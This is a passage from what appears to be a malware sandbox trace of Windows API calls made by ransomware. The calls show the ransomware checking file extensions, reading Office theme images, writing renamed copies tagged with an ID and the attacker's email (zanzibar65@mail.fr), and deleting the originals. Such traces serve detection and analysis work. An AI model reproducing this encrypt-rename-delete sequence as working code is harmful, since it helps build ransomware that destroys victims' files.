Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.230] lstrlenW (lpString=".zip") returned 4 [0043.230] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.230] lstrlenW (lpString=".rar") returned 4 [0043.231] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.231] lstrlenW (lpString=".bz2") returned 4 [0043.231] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.231] lstrlenW (lpString=".7z") returned 3 [0043.231] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.231] lstrlenW (lpString=".dbf") returned 4 [0043.231] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.231] lstrlenW (lpString=".1cd") returned 4 [0043.231] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0043.231] lstrlenW (lpString=".jpg") returned 4 [0043.231] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.231] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.231] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.231] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1363) returned 1 [0043.231] CloseHandle (hObject=0x1ac) returned 1 [0043.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0043.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.232] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.232] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.233] GetLastError () returned 0x0 [0043.233] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x553, lpOverlapped=0x0) returned 1 [0043.235] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x560, lpOverlapped=0x0) returned 1 [0043.235] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.236] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.236] SetEndOfFile (hFile=0x200) returned 1 [0043.236] CloseHandle (hObject=0x200) returned 1 [0043.236] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.236] SetEndOfFile (hFile=0x1ac) returned 1 [0043.237] CloseHandle (hObject=0x1ac) returned 1 [0043.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.237] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.237] lstrlenW (lpString=".doc") returned 4 [0043.237] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.237] lstrlenW (lpString=".docx") returned 5 [0043.237] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.237] lstrlenW (lpString=".pdf") returned 4 [0043.237] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.237] lstrlenW (lpString=".xls") returned 4 [0043.237] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.237] lstrlenW (lpString=".xlsx") returned 5 [0043.237] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.237] lstrlenW (lpString=".ppt") returned 4 [0043.237] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.238] lstrlenW (lpString=".zip") returned 4 [0043.238] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.238] lstrlenW (lpString=".rar") returned 4 [0043.238] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.238] lstrlenW (lpString=".bz2") returned 4 [0043.238] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.238] lstrlenW (lpString=".7z") returned 3 [0043.238] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.238] lstrlenW (lpString=".dbf") returned 4 [0043.238] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.238] lstrlenW (lpString=".1cd") returned 4 [0043.238] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.238] lstrlenW (lpString=".jpg") returned 4 [0043.238] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.238] lstrlenW (lpString=".doc") returned 4 [0043.238] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.238] lstrlenW (lpString=".docx") returned 5 [0043.238] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.238] lstrlenW (lpString=".pdf") returned 4 [0043.238] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.239] lstrlenW (lpString=".xls") returned 4 [0043.239] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.239] lstrlenW (lpString=".xlsx") returned 5 [0043.239] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.239] lstrlenW (lpString=".ppt") returned 4 [0043.239] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.239] lstrlenW (lpString=".zip") returned 4 [0043.239] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.239] lstrlenW (lpString=".rar") returned 4 [0043.239] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.239] lstrlenW (lpString=".bz2") returned 4 [0043.239] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.239] lstrlenW (lpString=".7z") returned 3 [0043.239] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.239] lstrlenW (lpString=".dbf") returned 4 [0043.239] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.239] lstrlenW (lpString=".1cd") returned 4 [0043.239] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0043.239] lstrlenW (lpString=".jpg") returned 4 [0043.239] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.239] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0043.239] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.239] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.240] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=20371) returned 1 [0043.240] CloseHandle (hObject=0x1ac) returned 1 [0043.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0043.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.240] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.240] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0043.240] GetLastError () returned 0x0 [0043.240] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x4f93, lpOverlapped=0x0) returned 1 [0043.242] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0043.243] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.243] WriteFile (in: hFile=0x200, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.243] SetEndOfFile (hFile=0x200) returned 1 [0043.243] CloseHandle (hObject=0x200) returned 1 [0043.244] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.244] SetEndOfFile (hFile=0x1ac) returned 1 [0043.244] CloseHandle (hObject=0x1ac) returned 1 [0043.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.245] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.245] lstrlenW (lpString=".doc") returned 4 [0043.245] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.245] lstrlenW (lpString=".docx") returned 5 [0043.245] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.245] lstrlenW (lpString=".pdf") returned 4 [0043.245] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.245] lstrlenW (lpString=".xls") returned 4 [0043.245] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.245] lstrlenW (lpString=".xlsx") returned 5 [0043.245] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.245] lstrlenW (lpString=".ppt") returned 4 [0043.245] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.245] lstrlenW (lpString=".zip") returned 4 [0043.245] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.245] lstrlenW (lpString=".rar") returned 4 [0043.245] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.245] lstrlenW (lpString=".bz2") returned 4 [0043.245] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.246] lstrlenW (lpString=".7z") returned 3 [0043.246] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.246] lstrlenW (lpString=".dbf") returned 4 [0043.246] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.246] lstrlenW (lpString=".1cd") returned 4 [0043.246] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.246] lstrlenW (lpString=".jpg") returned 4 [0043.246] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.246] lstrlenW (lpString=".doc") returned 4 [0043.246] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.246] lstrlenW (lpString=".docx") returned 5 [0043.246] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.246] lstrlenW (lpString=".pdf") returned 4 [0043.246] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.246] lstrlenW (lpString=".xls") returned 4 [0043.246] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.246] lstrlenW (lpString=".xlsx") returned 5 [0043.246] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.246] lstrlenW (lpString=".ppt") returned 4 [0043.246] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.246] lstrlenW (lpString=".zip") returned 4 [0043.246] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.246] lstrlenW (lpString=".rar") returned 4 [0043.246] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.246] lstrlenW (lpString=".bz2") returned 4 [0043.246] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.247] lstrlenW (lpString=".7z") returned 3 [0043.247] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.247] lstrlenW (lpString=".dbf") returned 4 [0043.247] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.247] lstrlenW (lpString=".1cd") returned 4 [0043.247] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0043.247] lstrlenW (lpString=".jpg") returned 4 [0043.247] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.247] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0043.247] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.247] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=1293) returned 1 [0043.247] CloseHandle (hObject=0x1ac) returned 1 [0043.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0043.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0043.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0043.248] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.248] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0043.708] GetLastError () returned 0x0 [0043.708] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x50d, lpOverlapped=0x0) returned 1 [0043.917] WriteFile (in: hFile=0x17c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x510, lpOverlapped=0x0) returned 1 [0043.918] ReadFile (in: hFile=0x1ac, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.918] WriteFile (in: hFile=0x17c, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.918] SetEndOfFile (hFile=0x17c) returned 1 [0043.918] CloseHandle (hObject=0x17c) returned 1 [0043.918] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.918] SetEndOfFile (hFile=0x1ac) returned 1 [0043.919] CloseHandle (hObject=0x1ac) returned 1 [0043.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0043.919] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0043.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.919] lstrlenW (lpString=".doc") returned 4 [0043.919] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.919] lstrlenW (lpString=".docx") returned 5 [0043.919] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.920] lstrlenW (lpString=".pdf") returned 4 [0043.920] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.920] lstrlenW (lpString=".xls") returned 4 [0043.920] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.920] lstrlenW (lpString=".xlsx") returned 5 [0043.920] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.920] lstrlenW (lpString=".ppt") returned 4 [0043.920] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.920] lstrlenW (lpString=".zip") returned 4 [0043.920] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0043.920] lstrlenW (lpString=".rar") returned 4 [0043.920] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0043.920] lstrlenW (lpString=".bz2") returned 4 [0043.920] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0043.920] lstrlenW (lpString=".7z") returned 3 [0043.920] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0043.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.920] lstrlenW (lpString=".dbf") returned 4 [0043.920] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0043.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.920] lstrlenW (lpString=".1cd") returned 4 [0043.920] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0043.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.920] lstrlenW (lpString=".jpg") returned 4 [0043.920] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0043.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0043.920] lstrlenW (lpString=".doc") returned 4 [0043.920] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0043.920] lstrlenW (lpString=".docx") returned 5 [0043.920] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0043.921] lstrlenW (lpString=".pdf") returned 4 [0043.921] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0043.921] lstrlenW (lpString=".xls") returned 4 [0043.921] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0043.921] lstrlenW (lpString=".xlsx") returned 5 [0043.921] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0043.921] lstrlenW (lpString=".ppt") returned 4 [0043.921] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0043.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 